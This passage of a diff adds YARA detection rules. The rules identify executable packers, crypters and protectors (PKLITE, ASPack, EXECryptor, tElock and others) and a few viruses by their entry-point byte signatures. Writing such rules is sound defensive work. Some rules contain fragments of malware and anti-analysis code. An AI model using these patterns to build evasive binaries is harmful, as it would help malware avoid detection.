+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 EC 01 00 00 E8 F8 06 00 00 E8 03 06 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Splasher_v10__v30_
+{
+	meta:
+		description = "Splasher v1.0 - v3.0"
+	strings:
+		$0 = {9C 60 8B 44 24 24 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 50 E8 ED 02 ?? ?? 8C C0 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v100_v103_
+{
+	meta:
+		description = "PKLITE v1.00, v1.03"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 8C DB 03 D8 3B}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_WWPack32_1x__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake WWPack32 1.x) -> emadicius"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52 61 66 61 6C 20 57 69 65 72 7A 62 69 63 6B 69 0D 0A 0D 0A 5D 5B 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v039_final__Dwing_
+{
+	meta:
+		description = "Upack v0.39 final -> Dwing"
+	strings:
+		$0 = {56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91}
+		$1 = {FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF}
+	condition:
+		$0 or $1
+}
+rule _EXECryptor_2223_protected_IAT_
+{
+	meta:
+		description = "EXECryptor 2.2/2.3 (protected IAT)"
+	strings:
+		$0 = {CC ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? B4 ?? ?? ?? 08 ?? ?? ?? 00 00 00 00 FF FF FF FF E8 ?? ?? ?? 04 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 94 ?? ?? ?? A4 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_LCC_Win32_1x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [LCC Win32 1.x] --> Anorganix"
+	strings:
+		$0 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v120_
+{
+	meta:
+		description = "PKLITE v1.20"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 B4 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _VBOX_v42_MTE_
+{
+	meta:
+		description = "VBOX v4.2 MTE"
+	strings:
+		$0 = {8C E0 0B C5 8C E0 0B C4 03 C5 74 00 74 00 8B C5}
+	condition:
+		$0 at entrypoint
+}
+rule _STNPEE_113_
+{
+	meta:
+		description = "STNPEE 1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 3B 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextr_Passwcheck_Vir_shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextr. Passw.check. Vir. shield)"
+	strings:
+		$0 = {03 05 C0 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _codeCrypter_031_
+{
+	meta:
+		description = "codeCrypter 0.31"
+	strings:
+		$0 = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+	condition:
+		$0
+}
+rule _Morphine_V27__Holy_Father__Ratter29A_
+{
+	meta:
+		description = "Morphine V2.7 -> Holy_Father & Ratter/29A"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+	condition:
+		$0
+}
+rule _ASPack_v103b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.03b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_compressed_resources_
+{
+	meta:
+		description = "EXECryptor 2.3.9 (compressed resources)"
+	strings:
+		$0 = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00 00 81 ED BB 43 CB 79 C1 E0 1C E9 9E 14 00 00 0B 15 ?? ?? ?? ?? 81 E2 2A 70 7F 49 81 C2 9D 83 12 3B E8 0C 50 00 00 E9 A0 16 00 00 59 5B C3 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 41 42 00 00 E9 93 33 00 00 31 DB 89 D8 59 5B C3 A1 ?? ?? ?? ?? 8A 00 2C 99 E9 82 30 00 00 0F 8A ?? ?? ?? ?? B8 01 00 00 00 31 D2 0F A2 25 FF 0F 00 00 E9 72 21 00 00 0F 86 57 0B 00 00 E9 ?? ?? ?? ?? C1 C0 03 E8 F0 36 00 00 E9 41 0A 00 00 81 F7 B3 6E 85 EA 81 C7 ?? ?? ?? ?? 87 3C 24 E9 74 52 00 00 0F 8E ?? ?? ?? ?? E8 5E 37 00 00 68 B1 74 96 13 5A E9 A1 04 00 00 81 D1 49 C0 12 27 E9 50 4E 00 00 C1 C8 1B 1B C3 81 E1 96 36 E5}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Inbuild_v10_hard_
+{
+	meta:
+		description = "Inbuild v1.0 [hard]"
+	strings:
+		$0 = {B9 ?? ?? BB ?? ?? 2E ?? ?? 2E ?? ?? 43 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v20b5__v23_
+{
+	meta:
+		description = "PEBundle v2.0b5 - v2.3"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 01 AD ?? ?? ?? ?? 01 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_v100v101_
+{
+	meta:
+		description = "PE Crypt v1.00/v1.01"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_REALBasic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [REALBasic] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v112_v115_v120_2_
+{
+	meta:
+		description = "PKLITE v1.12, v1.15, v1.20 (2)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 3B C4 73}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Trivial25_
+{
+	meta:
+		description = "Vx: Trivial.25"
+	strings:
+		$0 = {B4 4E FE C6 CD 21 B8 ?? 3D BA ?? 00 CD 21 93 B4 40 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v099_Special_Build__heXer__forgot_
+{
+	meta:
+		description = "tElock v0.99 Special Build -> heXer & forgot"
+	strings:
+		$0 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00}
+		$1 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_Personal_Packer_PPP_102__ConquestOfTroycom_
+{
+	meta:
+		description = "Private Personal Packer (PPP) 1.0.2 -> ConquestOfTroy.com"
+	strings:
+		$0 = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+	condition:
+		$0
+}
+rule _Inno_Setup_Module_v2018_
+{
+	meta:
+		description = "Inno Setup Module v2.0.18"
+	strings:
+		$0 = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 73 71 FF FF E8 DA 85 FF FF E8 81 A7 FF FF E8 C8}
+	condition:
+		$0
+}
+rule _Upack_v036_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.36 beta -> Dwing"
+	strings:
+		$0 = {BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C}
+		$1 = {BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 82 8E FE FF FF 58 8B 4E 40 5F E3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressor_12__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.2 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _SPEC_b3_
+{
+	meta:
+		description = "SPEC b3"
+	strings:
+		$0 = {5B 53 50 45 43 5D E8 ?? ?? ?? ?? 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 ?? 8B FD}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Compiler_
+{
+	meta:
+		description = "Vx: Compiler"
+	strings:
+		$0 = {8C C3 83 C3 10 2E 01 1E ?? 02 2E 03 1E ?? 02 53 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _dePACK__deNULL_
+{
+	meta:
+		description = "dePACK -> deNULL"
+	strings:
+		$0 = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00}
+		$1 = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? ?? 00 E8 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? D2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WWPACK_v303_
+{
+	meta:
+		description = "WWPACK v3.03"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 BB ?? ?? 53}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRo_Tiny_Pascal__BeRo_
+{
+	meta:
+		description = "BeRo Tiny Pascal -> BeRo"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_V2X_DLL__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect V2.X DLL -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 ?? ?? 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ?? ?? ?? ?? 03 DD}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v071_
+{
+	meta:
+		description = "PC Shrinker v0.71"
+	strings:
+		$0 = {9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 ?? FF B5 50 3A 40 ?? 6A 40 FF 95 88 3A 40 ?? 50 50 2D ?? ?? ?? ?? 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CDCops_II__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [CD-Cops II] --> Anorganix"
+	strings:
+		$0 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SafeDisc_v4_
+{
+	meta:
+		description = "SafeDisc v4"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 42 6F 47 5F}
+	condition:
+		$0
+}
+rule _PE_Password_v02_SMTSMF_
+{
+	meta:
+		description = "PE Password v0.2 SMT/SMF"
+	strings:
+		$0 = {E8 04 ?? ?? ?? 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 ?? 81 EF ?? ?? ?? ?? 83 EF 05 89 AD 88 27 40 ?? 8D 9D 07 29 40 ?? 8D B5 62 28 40 ?? 46 80}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22006115__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2006.1.15 -> WFS"
+	strings:
+		$0 = {45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 36 2E 31 2E 31 35}
+	condition:
+		$0
+}
+rule _Krypton_v04_
+{
+	meta:
+		description = "Krypton v0.4"
+	strings:
+		$0 = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v100c_1_
+{
+	meta:
+		description = "PKLITE v1.00c (1)"
+	strings:
+		$0 = {2E 8C 1E ?? ?? 8B 1E ?? ?? 8C DA 81 C2 ?? ?? 3B DA 72 ?? 81 EB ?? ?? 83 EB ?? FA 8E D3 BC ?? ?? FB FD BE ?? ?? 8B FE}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b3_
+{
+	meta:
+		description = "PECompact v1.10b3"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 95}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Gleam_100__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Gleam 1.00] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v13037__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium v1.3.0.37 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v31_
+{
+	meta:
+		description = "PEncrypt v3.1"
+	strings:
+		$0 = {E9 ?? ?? ?? 00 F0 0F C6}
+	condition:
+		$0 at entrypoint
+}
+rule _PeCompact2_253276__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact2 2.53-2.76 --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 55 53 51 57 56 52 8D 98 C9 11 00 10 8B 53 18 52 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 5A 8B F8 50 52 8B 33 8B 43 20 03 C2 8B 08 89 4B 20 8B 43 1C 03 C2 8B 08 89 4B 1C 03 F2 8B 4B 0C 03 CA 8D 43 1C 50 57 56 FF}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_Borland_Cpp_DLL_Method_2__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland C++ DLL (Method 2)] --> Anorganix"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Virogen_Crypt_v075_
+{
+	meta:
+		description = "Virogen Crypt v0.75"
+	strings:
+		$0 = {9C 55 E8 EC 00 00 00 87 D5 5D 60 87 D5 80 BD 15 27 40 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v200_alpha_38_
+{
+	meta:
+		description = "PECompact v2.00 alpha 38"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F}
+	condition:
+		$0
+}
+rule _JDPack_2x__JDPack_
+{
+	meta:
+		description = "JDPack 2.x -> JDPack"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 51 40 00 68 04 25 40 00 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PE_Intro_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Intro 1.0] --> Anorganix"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _SEN_Debug_Protector_
+{
+	meta:
+		description = "SEN Debug Protector???"
+	strings:
+		$0 = {BB ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 29 ?? ?? 4E E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v125_
+{
+	meta:
+		description = "PECompact v1.25"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? F3 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _RPolyCrypt_v_10_personal_polycryptor_sign_from_pinch_
+{
+	meta:
+		description = "RPolyCrypt v 1.0 (personal polycryptor) sign from pinch"
+	strings:
+		$0 = {50 58 97 97 60 61 8B 04 24 80 78 F3 6A E8 00 00 00 00 58 E8 00 00 00 00 58 91 91 EB 00 0F 85 6B F4 76 6F E8 00 00 00 00 83 C4 04 E8 00 00 00 00 58 90 E8 00 00 00 00 83 C4 04 8B 04 24 80 78 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_SuperPro_Automatic_Protection_v641__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) v6.4.1 -> Safenet"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Lockless_Intro_Pack__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Lockless Intro Pack] --> Anorganix"
+	strings:
+		$0 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v098_
+{
+	meta:
+		description = "tElock v0.98"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V119_Dll_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.19 Dll (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF 